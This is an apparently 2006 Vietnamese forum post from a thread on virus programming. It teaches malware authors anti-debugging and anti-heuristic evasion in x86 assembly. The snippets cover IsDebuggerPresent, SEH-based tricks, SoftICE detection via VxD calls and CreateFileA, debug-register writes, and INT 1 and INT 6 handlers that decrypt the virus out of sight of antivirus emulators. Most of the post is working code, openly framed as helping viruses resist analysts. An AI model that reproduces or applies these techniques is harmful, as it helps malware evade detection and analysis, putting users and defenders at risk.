|
||
[Hỏi đáp] Re: Kĩ thuật lập trình Virus - Copyright Spinx | 26/06/2006 11:49:35 (+0700) | #2 | 938 |
---|
|
Anti-Debug
Về bản chất chống thao tác debug tức là dạy VR chống lại con người (ở đây là các AV), chính vì vậy điều này xem ra không thể thực hiện được. Sau khi bắt được một mẫu VR mà không de-assemble được, các AV sẽ sử dụng các công cụ debug dịch ngược VR từ mã máy ra dạng ASM để đọc và tìm hiểu nguyên lý hoạt động của VR đặc biệt là đoạn code mã hoá vì đây là điểm quan trọng nhất để giải mã và hiểu được nội dung VR. Thông thường đề làm được các VXer phải mã hoá VR dựa trên một số thuật toán mã hoá thật phức tạp nhằm làm nản lòng người đọc. Các giải thuật này có rất nhiều trên NET nên tôi sẽ không trình bày nữa. Khi lập trình người lập nên tận dụng các lệnh nhảy và call càng nhiều càng tốt nhằm gây khó khăn cho người theo dõi.
- Gọi luôn API của debugger
VD:
call IsDebuggerPresent ;call API
xchg eax, ecx ;result to ECX
jecxz debugger_not_present ;if ZERO, debugger not present
Gọi hàm API Win98/NT kiểm tra API level debugger
- Kiểm tra debugger context
mov ecx, fs:[20h] ;load context of debugger
jecxz debugger_not_present ;if ZERO, debugger not present
- Sử dụng SEH
call setupSEH ; The call pushes the offset
errorhandler:
mov esp,[esp+8] ; Put the original SEH offset
; Error gives us old ESP
; in [ESP+8]
;*** SECRET CODE HERE ***
setupSEH:
push dword ptr fs:[0] ; Push original SEH handler
mov fs:[0],esp ; And put the new one (located
; after the first call)
mov ebx,0BFF70000h ; Try to write in kernel (will
mov eax,012345678h ; generate an exception)
xchg eax,[ebx]
- Gọi VxD service (Ring-0 only)
mov eax, 202h ;SoftICE ID number
VxDCall Get_DDB ;call service
xchg eax, ecx ;result to ECX
jecxz sice_not_present ;SoftICE not present
- Kiểm tra softice trên bộ nhớ bằng CreateFileA
xor eax, eax ;EAX=0
push eax ;parameters
push 4000000h ;for
push eax ;CreateFileA
push eax ;API
push eax ;function
push eax ;...
push offset sice ;name of driver
call CreateFileA ;open driver
inc eax ;is EAX==0?
je sice_not_present ;yeah, SoftICE is not present
dec eax ;no,
push eax ;close its handle
call CloseHandle ;...
... ;and make some action
sice db '\\.\SICE',0 ;SICE driver under Win9X
;sice db '\\.\NTICE',0 ;SICE driver under WinNT
- Chọc vào các thanh ghi debug (Ring-0 only)
mov eax, '****' ;set already_infected mark
mov dr0, eax ;to dr0
Anti-Heuristics bằng bẫy ngắt trên DOS:
INT 1: Ngắt 01 có một số đặc điểm lạ có thể lợi dụng. Thông thường ta có thể gọi ngắt qua opcode CDh. Ở đây là 0CDh/001h tuy nhiên lệnh gọi ngắt 01 có một mã khác là 0F1h. Mã không công bố cũng đồng nghĩa với việc có thể không được emulated bởi các AVs. Lợi dụng điều này ta có thể dùng INT 01h để mã hoá VR:
mov ax, 3501h ;Lấy ngắt 01 cũ
int 21h
mov old_segm, es
mov old_offs, bx
mov ax, 2501h ; Bẫy int 01
mov dx, offset int1_handler ;Giả định DS=CS
int 21h
db 0F1h ; Giải mã VR
mov ax, 2501h ;Phục hồi ngắt cũ
mov dx, cs:old_offs
mov ds, cs:old_segm
int 21h
[...]
int1_handler:
;...Giải mã/ mã hoá VR here...
iret
Hoặc ta có thể làm mất vết bằng cách:
[...]
db 0F1h ;Gọi int 01 đã bẫy (như trên)
mov ax, 4c00h ;quit program
int 21h ;Thực ra chẳng bao giờ quit
;---- VR tiếp tục bình thường
[...]
int1_handler:
mov bx, sp ;modify return address, so the quit command
add word ptr ss:[bx], 5 ;is never executed.
iret
INT 06: Điểm mạnh của INT 06 là được CPU gọi khi có thao tác bất thường. Các AVs rất khó bẫy. Tương tự trên ta ó thể sử dụng int 06h
mov ax, 3506h ;Lấy ngắt cũ
int 21h
mov old_segm, es
mov old_offs, bx
mov ax, 2506h ;Bẫy ngắt
mov dx, offset int6_handler
int 21h
dw 0FFFFh ;Tự tạo lỗi
mov ax, 2506h ;trả ngắt cũ
mov dx, cs:old_offs
mov ds, cs:old_segm
int 21h
[...]
int6_handler:
;mã hoã/giải mã ở đây
mov bx, sp
add word ptr ss:[bx], 2 ;Trở về VR cũ
;2 là mã lệnh không hợp lệ
iret
Hoặc cũng có thể dùng làm kỹ thuật xoá vết như trên
No comments:
Post a Comment